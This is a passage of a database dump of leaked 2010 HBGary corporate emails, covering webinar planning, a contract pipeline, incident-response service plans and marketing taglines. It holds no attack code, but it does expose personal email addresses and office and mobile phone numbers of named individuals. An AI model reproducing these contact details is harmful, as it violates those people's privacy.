is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9474,'aaron_hbgary_com/9474.html'),(5368,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003902.M634150P14101Q223.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Status on Speaker for Webinar','Still working it.  I will push today.From my iPhoneOn Apr 15, 2010, at 1:59 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nJim Lewis OR the Shadow Net people?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6080,'aaron_hbgary_com/6080.html'),(5369,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003902.M835189P14101Q224.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Updated Pipeline','We definately are going to offer IR but it is still a people problem.\r\nI don\'t have anyone to do the work yet.  Checking to see if Dino does\r\nthat type of work.  On website, we were supposed to have Aaron spring\r\non already to put it up but project B funding has been delayed.  As\r\nsoon as that money comes in we will bring on Aaron and website will be\r\nput up.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> It looks good if you get the work.  I really think you guys need to be\r\n> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n> should have\r\n> write ups, costs etc.  Are you working on these?  What about a\r\n> website?\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, April 13, 2010 9:15 AM\r\n> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n> Subject: Updated Pipeline\r\n>\r\n> Penny,\r\n>\r\n> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n> updated this\r\n> morning.  As you can see, we have lots of irons in the fire, many of\r\n> which\r\n> we\'re just awaiting award announcements for.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n',9216,'aaron_hbgary_com/9216.html'),(5370,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003903.M353966P14101Q226.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Question for You','U must be on east coast.  Too early for west.From my iPhoneOn Apr 15, 2010, at 7:19 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOK, that’s good to know.  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:14 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Question for You\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThey don&#39;t have malware.  They want ours.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nXetron,\r\ndo they have malware?  Can we get a feed from them? Or at least perhaps\r\nadvanced samples?  Are they going to training?\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15274,'aaron_hbgary_com/15274.html'),(5371,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003903.M571197P14101Q227.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Status on Speaker for Webinar','Ok.  No u didn&#39;t.From my iPhoneOn Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI’m going to ask Josh Corman tomorrow, did I send you E-Crime\r\nreport from 451 yet?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:23 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Status on Speaker for Webinar\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nStill working it.  I will push today.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 1:59 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nLewis OR the Shadow Net people?\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14087,'aaron_hbgary_com/14087.html'),(5372,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003903.M64282P14101Q225.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status on Speaker for Webinar','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m going to ask Josh Corman tomorrow, did I send you E-Crime\r\nreport from 451 yet?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:23 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Status on Speaker for Webinar\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStill working it. &nbsp;I will push today.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 1:59 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nLewis OR the Shadow Net people?\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14404,'aaron_hbgary_com/14404.html'),(5373,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003903.M770626P14101Q228.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Updated Pipeline','What\'s up with the funding for GD?  Are they waiting for the meeting on the\r\n19th?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:29 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Updated Pipeline\r\n\r\nWe definately are going to offer IR but it is still a people problem.\r\nI don\'t have anyone to do the work yet.  Checking to see if Dino does\r\nthat type of work.  On website, we were supposed to have Aaron spring\r\non already to put it up but project B funding has been delayed.  As\r\nsoon as that money comes in we will bring on Aaron and website will be\r\nput up.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> It looks good if you get the work.  I really think you guys need to be\r\n> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n> should have\r\n> write ups, costs etc.  Are you working on these?  What about a\r\n> website?\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, April 13, 2010 9:15 AM\r\n> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n> Subject: Updated Pipeline\r\n>\r\n> Penny,\r\n>\r\n> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n> updated this\r\n> morning.  As you can see, we have lots of irons in the fire, many of\r\n> which\r\n> we\'re just awaiting award announcements for.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n\r\n',15380,'aaron_hbgary_com/15380.html'),(5374,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003904.M16721P14101Q229.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m in Boston.&nbsp; Meeting with Verdasys today and a have a three\r\nhours meeting with 451 Group tomorrow for positioning, marketing etc\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:30 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nU must be on east coast. &nbsp;Too early for west.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 7:19 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK,\r\nthat&#8217;s good to know.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:14 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThey\r\ndon\'t have malware. &nbsp;They want ours.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nXetron,\r\ndo they have malware?&nbsp; Can we get a feed from them? Or at least perhaps\r\nadvanced samples?&nbsp; Are they going to training?\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15753,'aaron_hbgary_com/15753.html'),(5375,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003908.M988406P14101Q230.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 451Group eCrime Report Published','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere it is, GREAT report\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Friday, April 09, 2010 8:11 AM\r\nTo: penny@hbgary.com\r\nSubject: 451Group eCrime Report Published\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  Hi Penny, I just got a copy of The 451Group &nbsp;eCrimes\r\n  report. I haven\'t read it yet -- I wanted to pass on to you first. I\'ll read\r\n  it today. Rajeev&nbsp;is providing free access --below is a note from Rajeev\r\n  to me since I had trouble accessing it using our client login.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  Hi\r\n  Karen, glad to see the onsite is coming up in the near future.\r\n  &nbsp;\r\n  Regarding\r\n  the report, the reason you weren\'t able to access it is that these reports\r\n  price out as $3750 purchased ad-hoc - if they\'re not built into the agreement\r\n  in advance.&nbsp; Given HBGary\'s involvement in this one however, I\'m keen on\r\n  just giving you the PDF with the intention of this helping our efforts to\r\n  renew the relationship once the 6-month term is up.\r\n  &nbsp;\r\n  Report\r\n  attached and you\'re now forewarned that I\'ll be bringing this up come renewal\r\n  time ;)\r\n  &nbsp;\r\n  cheers,\r\n  &nbsp;\r\n  ------------------------------\r\n  Rajeev Pattni\r\n  Senior Account Executive\r\n  617-261-1660 – (o) \r\n  617-699-2952 – (m) \r\n  The 451 Group\r\n  | Tier1 Research\r\n  Analyzing the business of enterprise IT innovation\r\n  \r\n  &nbsp;&nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6548,'aaron_hbgary_com/6548.html'),(5376,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003909.M350879P14101Q231.eml','greg@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com,smb@hbgary.com,Maria@hbgary.com','FW: Marketing Taglines','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKaren’s take on tag lines\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Monday, April 12, 2010 7:29 PM\r\nTo: penny@hbgary.com\r\nSubject: Marketing Taglines\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  Hi Penny,&nbsp;&nbsp;Here are my marketing suggestion\r\n  taglines, including the one from Shawn which I liked. I know Greg has already\r\n  posted his final choice, but just thought I would pass along anyway. Good\r\n  call with Gartner. Karen&nbsp; \r\n  &nbsp;\r\n  \r\n  \r\n  HBGary&nbsp;Reduces Risk\r\n  So&nbsp;Enterprises Can Maximize&nbsp;Their Business \r\n  \r\n  HBGARY - It’s your network – Shouldn’t you\r\n  be in control (Shawn)&nbsp; -- I liked this one. \r\n  Don’t Become Another Cybercrime Statistic:\r\n  Detect, Inspect, Protect \r\n  Tired\r\n  Of Aiming Your Network Security Budget At A Moving Target? Know\r\n  Your&nbsp;Attacker: Detect. Inspect. Protect. With HBGary. \r\n  Want\r\n  To Know Who Slipped Inside Your Network Last Night? Detect. Inspect. Protect.\r\n  \r\n  HBGary:\r\n  Threat Intelligence Tools For Staying Secure in A Connected Global World\r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3144,'aaron_hbgary_com/3144.html'),(5377,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003909.M691263P14101Q232.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Updated Pipeline','What is GD waiting for? &nbsp;Its not the meeting on the 19th is it? &nbsp;its internal right?AaronBegin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: April 15, 2010 7:30:54 AM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: Updated PipelineWhat\'s up with the funding for GD? &nbsp;Are they waiting for the meeting on the19th?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 15, 2010 4:29 AMTo: Penny Leavy-HoglundSubject: Re: Updated PipelineWe definately are going to offer IR but it is still a people problem.I don\'t have anyone to do the work yet. &nbsp;Checking to see if Dino doesthat type of work. &nbsp;On website, we were supposed to have Aaron springon already to put it up but project B funding has been delayed. &nbsp;Assoon as that money comes in we will bring on Aaron and website will beput up.Aaron From my iPhoneOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;wrote:It looks good if you get the work. &nbsp;I really think you guys need to beputting together offerings we can sell. &nbsp;IR, Forensics, etc. &nbsp;Weshould havewrite ups, costs etc. &nbsp;Are you working on these? &nbsp;What about awebsite?-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, April 13, 2010 9:15 AMTo: Penny Leavy-Hoglund; \'Aaron Barr\'Subject: Updated PipelinePenny,Attached is the 2010 HBGary Federal Pipeline that Aaron and Iupdated thismorning. &nbsp;As you can see, we have lots of irons in the fire, many ofwhichwe\'re just awaiting award announcements for.Regards,Ted\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8524,'aaron_hbgary_com/8524.html'),(5378,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003909.M942303P14101Q233.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Updated Pipeline','As of yesterday the funding isn&#39;t approved. I think the meeting next week will be a factor. Just a hunch. On Apr 15, 2010, at 6:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhat is GD waiting for?  Its not the meeting on the 19th is it?  its internal right?AaronBegin forwarded message:\r\nFrom: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: April 15, 2010 7:30:54 AM EDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Updated Pipeline\r\nWhat&#39;s up with the funding for GD?  Are they waiting for the meeting on the19th?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:29 AMTo: Penny Leavy-HoglundSubject: Re: Updated PipelineWe definately are going to offer IR but it is still a people problem.I don&#39;t have anyone to do the work yet.  Checking to see if Dino does\r\nthat type of work.  On website, we were supposed to have Aaron springon already to put it up but project B funding has been delayed.  Assoon as that money comes in we will bring on Aaron and website will beput up.\r\nAaron From my iPhoneOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;wrote:\r\nIt looks good if you get the work.  I really think you guys need to beputting together offerings we can sell.  IR, Forensics, etc.  Weshould have\r\nwrite ups, costs etc.  Are you working on these?  What about awebsite?\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, April 13, 2010 9:15 AM\r\nTo: Penny Leavy-Hoglund; &#39;Aaron Barr&#39;Subject: Updated Pipeline\r\nPenny,Attached is the 2010 HBGary Federal Pipeline that Aaron and Iupdated this\r\nmorning.  As you can see, we have lots of irons in the fire, many ofwhichwe&#39;re just awaiting award announcements for.\r\nRegards,Ted\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',754,'aaron_hbgary_com/754.html'),(5379,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003910.M156702P14101Q234.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Updated Pipeline','I believe so.\r\n\r\nOn the IR stuff, I know you guys want us to stand this up and we will.  Ted and I have been chasing some longer term engagements so we can build stability in our pipeline before we focus too much in short term work which has inherently more risk.  Long term work takes a bit longer to set up, but as you can see from our pipeline we have established fronts in many areas, even a small PWIN on this pipeline will put us in the good in the next few months.  Ted and I don\'t have much else to chase at the moment so we are going to focus our efforts on finishing the IR services offerings Ted started a while back and then we will get on the GSA schedule and start to market these offerings.  Again its a people thing, we don\'t have the people to do the work right now.  I talked to Ted last week about having all of this ready at the latest by the FIRST conference.  I want to be able to market this service, as well as our other services, there.\r\n\r\nWhen do you have some time to do a telecon to discuss the pipeline, IR work, funding, etc?\r\n\r\nAaron\r\n\r\nOn Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> What\'s up with the funding for GD?  Are they waiting for the meeting on the\r\n> 19th?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 15, 2010 4:29 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Updated Pipeline\r\n> \r\n> We definately are going to offer IR but it is still a people problem.\r\n> I don\'t have anyone to do the work yet.  Checking to see if Dino does\r\n> that type of work.  On website, we were supposed to have Aaron spring\r\n> on already to put it up but project B funding has been delayed.  As\r\n> soon as that money comes in we will bring on Aaron and website will be\r\n> put up.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\n> wrote:\r\n> \r\n>> It looks good if you get the work.  I really think you guys need to be\r\n>> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n>> should have\r\n>> write ups, costs etc.  Are you working on these?  What about a\r\n>> website?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, April 13, 2010 9:15 AM\r\n>> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n>> Subject: Updated Pipeline\r\n>> \r\n>> Penny,\r\n>> \r\n>> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n>> updated this\r\n>> morning.  As you can see, we have lots of irons in the fire, many of\r\n>> which\r\n>> we\'re just awaiting award announcements for.\r\n>> \r\n>> Regards,\r\n>> Ted\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5219,'aaron_hbgary_com/5219.html'),(5380,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003910.M375330P14101Q235.eml','\"Mike Mullville\" <MICHAEL.E.MULVILLE@saic.com>','NANA','Hey Mike,\r\n\r\nI am sure things are hectic.  Just had a few questions for you.\r\n\r\nWe have some people in our network that I think would be good fits for the NANA work as well as some qualified candidates that have been applying to some of our requisitions that I think also could fit this work.\r\n\r\nWhen would be a good time to sit down and discuss how HBGary might be able to help?  I am trying to do some pipeline planning, staffing, answering resumes, etc.\r\n\r\nAlso, not sure if you are aware but I will be giving a talk on Aurora at SAICs Tech Tuesday meeting (I think that is the NANA group right?) on the 27th.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14895,'aaron_hbgary_com/14895.html'),(5381,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003910.M634876P14101Q236.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NOTHING YET','Begin forwarded message:From: &quot;Willis, Dan&quot; &lt;Dan.Willis@macb.com&gt;\r\nDate: April 15, 2010 8:39:01 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: NOTHING YET\r\nTed,    I forwarded this to our Capture Manager, Steve Barish.Dan____________________Dan B. Willis\r\nDirector, IO ProgramsInformation Dominance DivisionMacAulay-Brown, Inc.Office  (210) 732-7417Fax     (210) 732-1012Mobile (210) 363-2332\r\nWeb     www.macb.com-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, April 13, 2010 4:23 PMTo: Willis, DanSubject: Re: NOTHING YETIs MacB going after any of his old work that is coming up for recompete\r\nie Odyssey?  We would be interested in helping out, if there is room forus.  Aaron and I have some time next week, if you&#39;re interested, we maybe able to make it to San Antonio (on our way to Sacramento) Tue or Wed\r\nto meet for a capabilities brief and teaming discussions.Regards,TedOn 4/12/10 12:54 PM, Willis, Dan wrote:\r\nThanks, Ted.Dan G. is starting work here next Mon.\r\nDan____________________\r\nDan B. WillisDirector, IO ProgramsInformation Dominance Division\r\nMacAulay-Brown, Inc.Office  (210) 732-7417Fax     (210) 732-1012\r\nMobile (210) 363-2332Web     www.macb.com\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, April 12, 2010 1:21 PMTo: Willis, DanSubject: Re: NOTHING YET\r\nThanks for the update Dan.  Attached is a whitepaper we just published, I thought you might be interested.  Describes how HBGary Responder an be used for software exploitation.\r\nRegards,Ted\r\nOn 4/12/10 12:19 PM, Willis, Dan wrote:\r\nI spoke with the contracting officer last week and she&#39;s overwhelmed with other things.  It&#39;s sitting on her desk.  At least it&#39;s not dead.\r\n\r\nDan\r\n\r\n____________________\r\nDan B. WillisDirector, IO Programs\r\nInformation Dominance Division\r\nMacAulay-Brown, Inc.\r\nOffice  (210) 732-7417\r\nFax     (210) 732-1012\r\nMobile (210) 363-2332\r\nWeb     www.macb.com\r\n\r\n\r\n',4487,'aaron_hbgary_com/4487.html'),(5382,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003910.M877012P14101Q237.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Telecon','ok I will give you a call.I would love to get a brief overview of AD.AaronOn Apr 14, 2010, at 10:29 PM, Phil Wallisch wrote:I\'m sorry I couldn\'t link up today.&nbsp; If you\'re free late afternoon tomorrow I should be around.&nbsp; On Wed, Apr 14, 2010 at 11:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Phil,\r\n\r\nHave some time early afternoon for a telecon/webex to go over some things?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14389,'aaron_hbgary_com/14389.html'),(5383,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003911.M110723P14101Q238.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Updated Pipeline','Later today.  You can use Foundstone you know.  We can sell and they can\r\nservice\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 7:26 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Updated Pipeline\r\n\r\nI believe so.\r\n\r\nOn the IR stuff, I know you guys want us to stand this up and we will.  Ted\r\nand I have been chasing some longer term engagements so we can build\r\nstability in our pipeline before we focus too much in short term work which\r\nhas inherently more risk.  Long term work takes a bit longer to set up, but\r\nas you can see from 